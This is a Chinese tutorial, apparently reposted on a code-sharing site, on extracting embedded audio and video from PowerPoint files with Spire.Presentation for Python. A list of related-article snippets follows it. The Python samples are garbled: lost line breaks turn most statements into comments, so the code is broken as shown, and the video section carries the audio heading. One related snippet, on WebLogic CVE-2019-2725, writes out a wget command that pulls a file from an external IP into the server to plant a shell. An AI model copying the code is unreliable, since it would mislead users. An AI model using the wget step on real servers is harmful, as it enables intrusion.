用Python提取PowerPoint演示文稿中的音频和视频

将多种格式的媒体内容进行重新利用(如PowerPoint演示中的音频和视频)是非常有价值的。无论是创建独立的音频文件、提取视频以便在线分发,还是为了未来的使用需求进行资料归档,从演示文稿中提取这些媒体文件可以为多媒体内容的多次使用提供更大的灵活性。而这一过程可以通过Python轻松实现。
本文将演示如何使用Python从PowerPoint演示文稿中提取音频和视频

文章目录

    • 用Python从PPT中提取音频
    • 用Python从PPT中提取音频

本文所使用的方法需要用到Spire.Presentation for Python,PyPI:pip install Spire.Presentation

申请免费License

用Python从PPT中提取音频

库中的IShape类代表PowerPoint幻灯片中的内容元素,而IAudio类则专门表示音频形状。要从演示文稿中提取音频,我们可以遍历每张幻灯片中的形状,判断某个形状是否为IAudio对象,并通过IAudio.Data.SaveToFile()方法将音频保存为文件。
提取演示文稿中的音频文件的具体步骤如下:

  1. 导入所需模块。
  2. 创建一个Presentation对象。
  3. 使用Presentation.LoadFromFile()方法加载PowerPoint演示文稿。
  4. 遍历演示文稿中的幻灯片,然后遍历幻灯片中的所有形状。
  5. 检查形状是否为IAudio类的对象。如果是,则使用IAudio.Data.SaveToFile()方法将音频数据保存到文件中。
  6. 释放资源。

代码示例

from spire.presentation import *
import mimetypes# 创建一个演示文稿对象
presentation = Presentation()# 加载一个PowerPoint文件
presentation.LoadFromFile("示例.pptx")i = 1
# 遍历所有幻灯片
for slide in presentation.Slides:# 遍历幻灯片中的所有形状for shape in slide.Shapes:# 检查形状是否为音频if isinstance(shape, IAudio):# 获取音频数据audioData = shape.Data# 将音频数据保存到文件audioData.SaveToFile(f"output/Audio/Audio{i}" + f"{mimetypes.guess_extension(audioData.ContentType)}")i += 1presentation.Dispose()

结果
Python提取PPT音频

用Python从PPT中提取音频

同样,库中也有IVideo类代表演示文稿中的视频形状。我们可以用与提取音频相似的方法来提取PPT中的视频。以下是详细操作步骤:

  1. 导入所需模块。
  2. 创建一个Presentation对象。
  3. 使用Presentation.LoadFromFile()方法加载PowerPoint演示文稿。
  4. 遍历演示文稿中的幻灯片,然后遍历幻灯片中的所有形状。
  5. 检查形状是否为IVideo类的对象。如果是,则使用IVideo.Data.SaveToFile()方法将视频数据保存到文件中。
  6. 释放资源。

代码示例

from spire.presentation import *
import mimetypes# 创建一个演示文稿对象
presentation = Presentation()# 加载一个PowerPoint文件
presentation.LoadFromFile("示例.pptx")i = 1
# 遍历所有幻灯片
for slide in presentation.Slides:# 遍历所有形状for shape in slide.Shapes:# 检查形状是否为视频if isinstance(shape, IVideo):# 获取视频数据videoData = shape.EmbeddedVideoData# 将视频数据保存到文件videoData.SaveToFile(f"output/Video{i}" + f"{mimetypes.guess_extension(videoData.ContentType)}")i += 1presentation.Dispose()

结果
Python提取PPT视频

本文演示了如何使用Python提取PowerPoint演示文稿中的音频和视频。

更多PowerPoint演示文稿处理技巧请前往Spire.Presentation for Python教程查看。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/53454.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于STM32的温度、电流、电压检测proteus仿真系统(OLED、DHT11、继电器、电机)

目录 一、主要功能 二、硬件资源 三、程序编程 四、实现现象 一、主要功能 基于STM32F103C8T6 采用DHT11读取温度、滑动变阻器模拟读取电流、电压。 通过OLED屏幕显示,设置电流阈值为80,电流小阈值为50,电压阈值为60,温度阈值为30 随便哪个超过预祝,则继电器切断,LE…

【sgCreateCallAPIFunctionParam】自定义小工具:敏捷开发→调用接口方法参数生成工具

<template><div :class"$options.name" class"sgDevTool"><sgHead /><div class"sg-container"><div class"sg-start"><div style"margin-bottom: 10px">参数列表[逗号模式]<el-too…

9.23作业

仿照string类&#xff0c;自己手动实现 My_string 代码如下 MyString.h #ifndef MYSTRING_H #define MYSTRING_H #include <iostream> #include <cstring>using namespace std;class My_string { private:char *ptr; //指向字符数组的指针int size; …

十大常用加密软件排行榜|2024年好用的加密软件推荐【精选】

在信息安全日益重要的时代&#xff0c;加密软件成为保护个人和企业数据的关键工具。选择合适的加密软件可以有效防止数据泄露和未授权访问。以下是2024年值得推荐的十大加密软件&#xff0c;帮助你找到适合的解决方案。 1. Ping32加密软件 Ping32是一款功能强大的加密软件&…

Linux C# Day4

作业&#xff1a; 1.统计家目录下.c文件的个数 #!/bin/bash num0 for filename in ls ~/*.c do((num)) done echo $num2.定义一个稀疏数组(下标不连续)&#xff0c;写一个函数&#xff0c;求该稀疏数组的和&#xff0c;要求稀疏数组中的数值通过参数传递到函数中arr([2]9 [4…

Android轻量级RTSP服务使用场景分析和设计探讨

技术背景 好多开发者&#xff0c;对我们Android平台轻量级RTSP服务模块有些陌生&#xff0c;不知道这个模块具体适用于怎样的场景&#xff0c;有什么优缺点&#xff0c;实际上&#xff0c;我们的Android平台轻量级RTSP服务模块更适用于内网环境下、对并发要求不高的场景&#…

基于深度学习的药品三期OCR字符识别

在药品生产线上,药品三期的喷码与条形码识别是保证药品追溯和安全管理的重要环节。传统的识别方法依赖于人工操作,不仅效率低下且容易出错。随着深度学习技术的不断发展,基于OCR(Optical Character Recognition,光学字符识别)的自动化识别系统逐渐成为主流。本文将以哪吒…

DataOps:解决数字化转型中数据价值挖掘挑战的最佳方案

云计算de小白 随着数字化转型的普及与深入&#xff0c;大数据技术在各行业被广泛应用&#xff0c;企业生产、营销、运营等各个环节的数据将被广泛采集&#xff0c;数据应用开发需求的增长、数据使用者角色的复杂度导致企业数据开发、数据运维的工作量、数据应用交付协同难度大…

电子看板实时监控数据可视化助力工厂精细化管理

在当今竞争激烈的制造业领域&#xff0c;工厂的精细化管理成为提高竞争力的关键。而电子看板实时监控数据可视化作为一种先进的管理工具&#xff0c;正为工厂的精细化管理带来巨大的助力。 一、工厂精细化管理的挑战 随着市场需求的不断变化和客户对产品质量要求的日益提高&am…

VMware ESXi 8.0U3b macOS Unlocker OEM BIOS 2.7 集成网卡驱动和 NVMe 驱动 (集成驱动版)

VMware ESXi 8.0U3b macOS Unlocker & OEM BIOS 2.7 集成网卡驱动和 NVMe 驱动 (集成驱动版) 发布 ESXi 8.0U3 集成驱动版&#xff0c;在个人电脑上运行企业级工作负载 请访问原文链接&#xff1a;https://sysin.org/blog/vmware-esxi-8-u3-sysin/&#xff0c;查看最新版…

CSP-J 2019 入门级 第一轮(初赛) 完善程序(1)

【题目】 CSP-J 2019 入门级 第一轮&#xff08;初赛&#xff09; 完善程序&#xff08;1&#xff09; 1.&#xff08;矩阵变幻&#xff09;有一个奇幻的矩阵&#xff0c;在不停的变幻&#xff0c;其变幻方式为&#xff1a; 数字 0 变成矩阵 0 0 0 1 数字 1 变成矩阵 1 1 1 0 …

云南自闭症康复寄宿学校:帮助孩子重塑美好未来

在云南这片充满希望的土地上&#xff0c;自闭症儿童的康复教育一直是社会各界关注的焦点。家长们渴望为孩子找到一所能够提供全面支持和专业指导的康复寄宿学校&#xff0c;帮助他们重塑美好未来。而当我们跨越地域的界限&#xff0c;将目光投向广州&#xff0c;星贝育园自闭症…

1网络安全的基本概念

文章目录 网络安全的基本概念可以总结为以下几个方面&#xff1a; 网络安全的需求&#xff1a; 信息安全的重要性&#xff1a;信息安全是计算机、通信、物理、数学等领域的交叉学科&#xff0c;对于社会的发展至关重要。信息安全的目标&#xff1a;主要包括保密性、完整性、可用…

萃取硫酸镍萃取槽技改离心萃取机

将硫酸镍萃取工艺中的萃取槽技改为离心萃取机&#xff0c;是一个旨在提高生产效率、降低能耗、改善产品质量的技术升级过程。以下是对这一技改过程的详细分析&#xff1a; 一、技改背景 传统萃取槽在硫酸镍萃取过程中存在分相效果差、澄清时间长、有夹带等问题&#xff0c;这些…

mat (Eclipse Memory Analyzer Tool)使用以及详解

前言 在Java开发中&#xff0c;内存问题往往不易被发现&#xff0c;但它们可能导致应用性能下降甚至崩溃。Eclipse Memory Analyzer Tool&#xff08;MAT&#xff09;是一个强大的开源工具&#xff0c;专门用于分析Java堆转储&#xff08;heap dumps&#xff09;文件&#xff…

WebLogic命令执行漏洞CVE-2019-2725

1.环境搭建 cd vulhub-master/weblogic/weak_password docker-compose up -d 2.漏洞验证 http://47.121.211.205:7001/_async/AsyncResponseService 说明存在漏洞 3.在当前页面抓包 修改请求包 写入shell wget http://47.121.211.205/1.txt -O servers/AdminServer/tmp/_W…

1.量化第一步,搭建属于自己的金融数据库!

数据是一切量化研究的前提。 做量化没有数据&#xff0c;就相当于做饭时没有食材。 很多时候&#xff0c;我们需要从大量的数据中寻找规律&#xff0c;并从中开发出策略。如果我们每次使用的时候&#xff0c;都从网上去找数据&#xff0c;一方面效率低下&#xff0c;另一方面短…

Redis详细解析

Redis 什么是Redis?关系型与非关系型数据库Redis可以做什么Redis入门安装在Windows系统上安装在Linux系统上安装 Redis在Linux系统上启动运行如何设置redis-server后台运行与关闭如何设置redis客户端登录时需要验证密码**设置允许远程连接redis服务**Redis数据类型Redis常用命…

Spring Boot管理用户数据

目录 学习目标前言Thymeleaf 模板JSON 数据步骤 1: 创建 Spring Boot 项目使用 Spring Initializr 创建项目使用 IDE 创建项目 步骤 2: 添加依赖步骤 3: 创建 Controller步骤 4: 新建index页面步骤 5: 运行应用程序 表单提交步骤 1: 添加 Thymeleaf 依赖在 Maven 中添加依赖 步…

LLM安全风险及应对

LLM安全风险主要从四个维度分析&#xff1a;用户输入、训练数据、模型本身以及工具和插件。 风险类别具体风险风险解释应对措施具体举例用户输入相关风险提示注入&#xff08;Prompt Injection&#xff09;攻击者通过设计特定输入&#xff0c;使模型生成恶意或不安全的输出。- …